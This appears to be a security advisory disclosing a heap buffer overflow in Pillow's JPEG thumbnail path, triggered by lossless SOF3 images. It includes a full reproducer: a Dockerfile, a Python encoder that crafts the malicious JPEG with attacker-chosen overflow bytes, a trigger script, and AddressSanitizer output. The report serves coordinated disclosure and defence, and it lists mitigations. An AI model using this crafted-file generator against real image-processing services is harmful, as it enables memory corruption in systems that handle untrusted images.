PT-2026-120305 · Pypi · Pillow
Publicado
2026-10-20
·
Atualizado
2026-10-20
CVSS v4.0
9.2
Crítica
| Vetor | AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
Summary
JpegImageFile.draft() — which Image.thumbnail() calls automatically — requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks self. size and the tile extents to match, so setimage() allocates a single-row decode buffer of ceil(W/s) samples. ImagingJpegDecode() sets cinfo.scale num/scale denom, calls jpeg start decompress(), and then reads scanlines into that buffer without ever comparing cinfo.output width, cinfo.output height or cinfo.out color components against state->xsize, state->ysize and state->bits.libjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling — the requested
scale denom is silently discarded. It therefore returns full-width W-sample rows into a buffer sized for ceil(W/s). Each jpeg read scanlines() call writes (W - ceil(W/s)) x components bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image.The input is a standards-compliant JPEG, so
Image.open(..., formats=["JPEG"]) does not prevent it. Pillow's Python SOF parser already accepts marker 0xFFC3 ("SOF3", "Spatial lossless") at 8-bit precision, so the file opens normally as a JPEG / mode L image at its full declared size.Affected code
At
e41083f383c9cd3db95de52564cc0b6452313d4a (main, 2026-08-29):src/libImaging/JpegDecode.c:224-262—ImagingJpegDecode();jpeg start decompress()at :240,jpeg read scanlines()at :252, with no geometry check between them.src/decode.c:222-231—setimage();state->buffer = calloc(1, state->bytes)withstate->bytes = (state->bits * state->xsize + 7) / 8.src/PIL/JpegImagePlugin.py:428-464—JpegImageFile.draft(); computessand shrinkssize, the tile extents anddecoderconfigwith no notion of lossless coding.src/PIL/JpegImagePlugin.py:271—0xFFC3: ("SOF3", "Spatial lossless", SOF).
c
// src/libImaging/JpegDecode.c
if (context->scale > 1) {
context->cinfo.scale num = 1;
context->cinfo.scale denom = context->scale;
}
...
case 2:
if (!jpeg start decompress(&context->cinfo)) {
break;
}
state->state++;
/* fall through */
case 3:
ok = 1;
while (state->y < state->ysize) {
ok = jpeg read scanlines(&context->cinfo, &state->buffer, 1);Because
state->ysize (ceil(H/s)) can never equal libjpeg's output height when s >= 2, the decode always ends in an error after the rows have already been written: the caller sees an exception and gets no pixels back. The OSError is a consequence of the overflow, not the issue being reported.Primitive
Per scanline: a contiguous write of
(W - ceil(W/s)) x c bytes immediately past a calloc(ceil(W/s) x c) block, where c = 1 for mode L and 4 for RGB (RGBX) and CMYK; repeated for ceil(H/s) rows over the same region. The buffer size class is chosen by the attacker through W, and for grayscale the overflowing content is an arbitrary attacker-chosen byte string.Measured in the reproducer below: 1200x1100 mode
L, s=2 — a 600-byte allocation, 600 bytes written past it, ASan reporting the whole 1200-byte row write as one memcpy.Threshold:
draft() must select s >= 2, i.e. W // requested w >= 2 and H // requested h >= 2. For thumbnail((256,256)) with the default reducing gap=2.0 that means W, H >= 1024.Reproduction
Self-contained Docker reproducer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 and Pillow both built from source with
-fsanitize=address; Pillow checked out at ${TARGET COMMIT}, default e41083f383c9cd3db95de52564cc0b6452313d4a). Save the three files below as Dockerfile, make sof3.py and trigger.py in an empty directory, then:bash
docker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oobmake sof3.py is a self-contained encoder that emits a standards-compliant 8-bit grayscale lossless-Huffman JPEG (SOI / DHT / SOF3 P=8, Y=1100, X=1200, Nf=1 / SOS Ss=1 predictor 1, Se=0, Ah=Al=0 / entropy-coded row differences / EOI), whose rows carry a repeating marker pattern. trigger.py opens it and calls thumbnail(), whose implicit draft() picks s=2 and allocates a 600-byte row buffer.Dockerfile
dockerfile
FROM ubuntu:24.04
ENV DEBIAN FRONTEND=noninteractive
ARG TARGET COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a
ARG CLANG VERSION=20
ARG LIBJPEG TURBO TAG=3.1.4
RUN apt-get update && apt-get install -y --no-install-recommends
ca-certificates git make cmake nasm pkg-config libc6-dev gcc
wget gnupg lsb-release software-properties-common
python3 python3-dev python3-pip python3-venv zlib1g-dev
&& wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG VERSION}
&& apt-get install -y --no-install-recommends clang-${CLANG VERSION} llvm-${CLANG VERSION} libclang-rt-${CLANG VERSION}-dev
&& rm -rf /var/lib/apt/lists/*
ENV CC=clang-20
ENV CXX=clang++-20
ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV LDFLAGS="-fsanitize=address"
# --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan ---
RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo
RUN cd /src/libjpeg-turbo && git checkout ${LIBJPEG TURBO TAG}
&& cmake -B /build/ljt -S . -DCMAKE BUILD TYPE=None
-DCMAKE C COMPILER=clang-20
-DCMAKE C FLAGS="$CFLAGS"
-DCMAKE EXE LINKER FLAGS="$LDFLAGS"
-DCMAKE SHARED LINKER FLAGS="$LDFLAGS"
-DCMAKE INSTALL PREFIX=/opt/ljt -DWITH JPEG8=0 -DENABLE STATIC=0
&& cmake --build /build/ljt -j"$(nproc)" && cmake --install /build/ljt
# --- Pillow at the pinned commit, built with ASan against that libjpeg ---
RUN git clone https://github.com/python-pillow/Pillow /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET COMMIT}
ENV JPEG ROOT=/opt/ljt
ENV LD LIBRARY PATH=/opt/ljt/lib
RUN python3 -m venv /venv
&& /venv/bin/pip install --quiet --upgrade pip "setuptools>=80" wheel pybind11
&& CFLAGS="$CFLAGS" LDFLAGS="$LDFLAGS -Wl,-rpath,/opt/ljt/lib"
/venv/bin/pip install --no-build-isolation --no-deps .
&& ln -sf "$(clang-20 -print-file-name=libclang rt.asan-x86 64.so)" /opt/libasan.so
&& LD PRELOAD=/opt/libasan.so ASAN OPTIONS=detect leaks=0
/venv/bin/python3 -c "from PIL import Image, features; print(Image. version , features.version('jpg'))"
COPY make sof3.py /tmp/make sof3.py
COPY trigger.py /tmp/trigger.py
RUN python3 /tmp/make sof3.py /tmp/sof3 gray 1200x1100.jpg
ENV ASAN OPTIONS=detect leaks=0:abort on error=1:symbolize=1
ENV ASAN SYMBOLIZER PATH=/usr/lib/llvm-20/bin/llvm-symbolizer
ENV LD PRELOAD=/opt/libasan.so
CMD ["/bin/sh","-c","cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo EXIT=$?"]make sof3.py
python
#!/usr/bin/env python3
"""Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.
Standards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra).
Rows carry an attacker-chosen marker byte pattern verbatim (lossless => exact).
"""
import struct
import sys
W = 1200
H = 1100
MARKER = b"AAAABBBBCCCCDDDD" # attacker-chosen bytes that land past the buffer
class BitWriter:
def init (self):
self.out = bytearray()
self.acc = 0
self.n = 0
def put(self, value, nbits):
for i in range(nbits - 1, -1, -1):
self.acc = (self.acc << 1) | ((value >> i) & 1)
self.n += 1
if self.n == 8:
self.out.append(self.acc)
if self.acc == 0xFF:
self.out.append(0x00) # byte stuffing
self.acc = 0
self.n = 0
def flush(self):
while self.n:
self.put(1, 1)
return bytes(self.out)
# Canonical Huffman: 17 symbols (categories 0..16), all of code length 5.
BITS = [0] * 17
BITS[5] = 17
HUFFVAL = list(range(17))
CODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}
def category(d):
if d == 0:
return 0
return abs(d).bit length()
def build pixels():
rows = []
for y in range(H):
row = bytearray()
while len(row) < W:
row += MARKER
rows.append(bytes(row[:W]))
return rows
def main(path):
rows = build pixels()
bw = BitWriter()
prev = None
for y in range(H):
row = rows[y]
for x in range(W):
s = row[x]
if y == 0 and x == 0:
pred = 1 << 7 # 2^(P-1-Pt)
elif x == 0:
pred = prev[0] # Rb for first sample of a line
else:
pred = row[x - 1] # Ra, predictor 1
d = (s - pred) & 0xFFFF
if d >= 0x8000:
d -= 0x10000
ssss = category(d)
code, length = CODES[ssss]
bw.put(code, length)
if ssss:
v = d if d > 0 else d + (1 << ssss) - 1
bw.put(v & ((1 << ssss) - 1), ssss)
prev = row
entropy = bw.flush()
out = bytearray()
out += b"xffxd8" # SOI
# DHT: class 0 (DC/lossless), table id 0
dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL)
out += b"xffxc4" + struct.pack(">H", len(dht) + 2) + dht
# SOF3: lossless, Huffman, sequential
sof = struct.pack(">BHHB", 8, H, W, 1) + bytes([1, 0x11, 0])
out += b"xffxc3" + struct.pack(">H", len(sof) + 2) + sof
# SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0
sos = bytes([1, 1, 0x00, 1, 0, 0])
out += b"xffxda" + struct.pack(">H", len(sos) + 2) + sos
out += entropy
out += b"xffxd9" # EOI
with open(path, "wb") as f:
f.write(bytes(out))
print(f"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless")
if name == " main ":
main(sys.argv[1] if len(sys.argv) > 1 else "/tmp/sof3 gray 1200x1100.jpg")trigger.py
python
import sys
from PIL import Image, features
print("Pillow", Image. version , "| libjpeg", features.version("jpg"), flush=True)
im = Image.open("/tmp/sof3 gray 1200x1100.jpg")
print("format=%s mode=%s size=%s" % (im.format, im.mode, im.size), flush=True)
print(">>> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer", flush=True)
sys.stdout.flush()
try:
im.thumbnail((256, 256))
print("thumbnail returned, size=%s" % (im.size,), flush=True)
except Exception as e:
print("exception: %r" % (e,), flush=True)Validated output:
Pillow 13.0.0.dev0 | libjpeg 6.2
format=JPEG mode=L size=(1200, 1100)
>>> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer
=================================================================
==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422
WRITE of size 1200 at 0x74e4e904aad8 thread T0
#0 asan memcpy
#1 jcopy sample rows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5
#2 sep upsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3
#3 process data simple main /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3
#4 jpeg read scanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3
#5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22
#6 decode /src/repo/src/decode.c:132:14
0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8)
allocated by thread T0 here:
#0 calloc
#1 setimage /src/repo/src/decode.c:230:34
SUMMARY: AddressSanitizer: heap-buffer-overflow in asan memcpyNegative control, same image: a baseline DCT JPEG of identical dimensions thumbnails cleanly, because libjpeg honours 1/2 scaling exactly as
draft() computed it.control baseline DCT JPEG: JPEG L (1200, 1100)
thumbnail OK, size = (256, 235) -- no ASan reportScope and caveats
- Reproduced on
mainate41083f383c9cd3db95de52564cc0b6452313d4a, which is currentorigin/mainas of 2026-08-30. Also reported against 12.3.0. - Requires the linked libjpeg to support lossless decoding, i.e. libjpeg-turbo >= 3.0. That is what the official Pillow wheels bundle. Builds against libjpeg-turbo 2.x or IJG libjpeg reject SOF3 before any row is decoded and are not affected.
- No non-default Pillow configuration is involved:
Image.thumbnail()callsdraft()by default, and the triggering bytes are entirely file data. - Only paths that use
draft()before loading are affected.open().load()andresize()decode at scale 1 and are unaffected. Callingimg.load()beforethumbnail(), orthumbnail(..., reducing gap=None), avoids the path in an application today. - Not affected on the same code path: SOF11 (arithmetic lossless) fails with
JERR ARITH NOTIMPLbefore any row; 12- and 16-bit lossless are rejected by Pillow'sSOF()because it requiresbits == 8; SOF5-7/13-15 fail withJERR SOF UNSUPPORTED.
Credit and disclosure
Found by Anthropic using Claude to study the security of open-source software, validated manually by Ada Logics.
This report follows Anthropic's coordinated vulnerability disclosure policy
(https://www.anthropic.com/coordinated-vulnerability-disclosure), with a 90-day
disclosure window from the date of this report.
Credit goes to Claude (Anthropic) and Ada Logics.
Correção
Heap Based Buffer Overflow
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Enumeração de Fraquezas
Identificadores relacionados
Produtos afetados
Pillow